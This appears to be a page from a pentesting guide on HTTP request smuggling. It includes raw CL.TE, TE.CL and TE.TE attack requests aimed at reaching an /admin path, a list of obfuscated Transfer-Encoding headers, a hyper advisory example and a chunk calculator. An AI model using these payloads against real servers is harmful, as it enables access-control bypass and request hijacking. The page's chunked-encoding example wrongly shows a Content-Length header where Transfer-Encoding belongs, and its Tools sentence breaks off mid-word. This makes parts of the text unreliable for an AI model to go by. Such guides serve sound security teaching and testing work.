> For the complete documentation index, see [llms.txt](https://the-pentesting-guide.marmeus.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://the-pentesting-guide.marmeus.com/web/http_request_smuggling.md).

# HTTP Request Smuggling

## Introduction

HTTP request smuggling is a type of web vulnerability that occurs when an attacker is able to send multiple HTTP requests to a server in a way that causes the server to process them in an unintended manner. This can lead to a number of security problems, including:

1. Denial of Service (DoS) attacks: An attacker could use HTTP request smuggling to send a large number of requests to a server, overwhelming it and causing it to become unavailable to legitimate users.
2. Data leakage: An attacker could use HTTP request smuggling to manipulate the way that a server processes requests, potentially allowing them to access sensitive information that would otherwise be protected.
3. Cross-Site Scripting (XSS) attacks: An attacker could use HTTP request smuggling to inject malicious code into a server's response, potentially allowing them to execute code on the client's machine.

Most of today's web applications are composed of a front-end server (which might be a load balancer or reverse proxy) that forwards the request to a back-end server (which actually performs the request).

The requests to the back-end server are typically sent over the same connection due to its better performance. This means that every HTTP request is sent one after another, so the front-end and back-end must agree on the boundaries between requests.

There are two different ways to specify where a request ends: the `Content-Length` header and the `Transfer-Encoding` header.

The `Content-Length` header specifies the number of bytes that compose the message body:

```http
POST /admin HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

user=test&password=1234
```

The `Transfer-Encoding` header species that the message body is going to be sent in a series of chunks rather than a single message. Each chunk is composed of the chunk size in bytes (expressed in hexadecimal), a new line, the content of the chunk, and a new line terminating in zero.

```http
POST /admin HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

17
user=test&password=1234
0
```

## HTTP smuggling attacks

The following attacks are only valid for HTTP/1.1, if your target website used HTTP/2, then read about how to exploit it in this [link](https://portswigger.net/web-security/request-smuggling/advanced#http-2-request-smuggling).

### CL.TE.

The front-end (FE) uses the `Content-Length` header, and the back-end server uses the `Transfer-Encoding` header.

```http
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Foo: x
```

### TE.CL.

The front-end server uses the `Transfer-Encoding` header, and the back-end server uses the `Content-Length` header.

```http
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


```

Because counting the characters on a chunk and then passing the number to hex is a pity, you can use the following chunk calculator by [Takito](https://twitter.com/takito1812).

```html
<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <title>Chunk Calculator</title>
    <style>body {font-family: sans-serif;}</style>
</head>

<body>
    <h1>Chunk Calculator</h1>
    <h2>By: <a href='https://twitter.com/takito1812'>Takito</a></h2>
    <textarea rows="10" cols="50" name="chunk" onkeyup="calc()" autofocus>
</textarea>
    <p>The chunk size is <strong id="size"></strong></p>
    <pre id="explanation"></pre>
    <script>
        function calc() {
            var chunk = document.getElementsByName("chunk")[0].value;
            var lines = chunk.split("\n");
            var linesLength = lines.length;
            var chars = 0;
            var explanation = document.getElementById("explanation");
            explanation.innerHTML = "";
            for (var i = 0; i < linesLength; i++) {
                var line = lines[i];
                var lineLength = line.length;
                chars += lineLength;
                if (i < linesLength - 1) {
                    chars += 2;
                    explanation.innerHTML += line + " -> " + lineLength + " + 2 (\\r\\n) = " + (lineLength + 2) + " chars<br>";
                } else {
                    explanation.innerHTML += line + " -> " + lineLength + " chars<br>";
                }
            }
            document.getElementById("size").innerHTML = chars.toString(16) + " hex (" + chars + " chars)";
        }
    </script>
</body>

</html>
```

### TE.TE.

The front-end and back-end servers both support the `Transfer-Encoding` header. To avoid one of the servers processing the header, it is required to obfuscate the header in some way.

Here there is a list of obfuscation examples:

```bash
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:<tab>chunked

 Transfer-Encoding: chunked

X: X%0aTransfer-Encoding: chunked

Transfer-Encoding
: chunked
```

This example comes from the issue "Multiple Transfer-Encoding headers misinterprets request payload" from [hyper](https://github.com/hyperium/hyper/security/advisories/GHSA-6hfq-h8hq-87mf).

```http
POST / HTTP/1.1
Host: example
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
```

## Tools

Because it is quite hard to test every type of HTTP smuggling on every website you need to audit, you can use the Burp Suite Extension [HTTP Request Smuggler](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646). Right-click on the request, then `Extensions/HTTP Request Smuggler`, and select the type of scan you want to la

## References

* [Finding HTTP request smuggling vulnerabilities](https://portswigger.net/web-security/request-smuggling/finding)
* [Exploiting HTTP request smuggling vulnerabilities](https://portswigger.net/web-security/request-smuggling/exploiting)
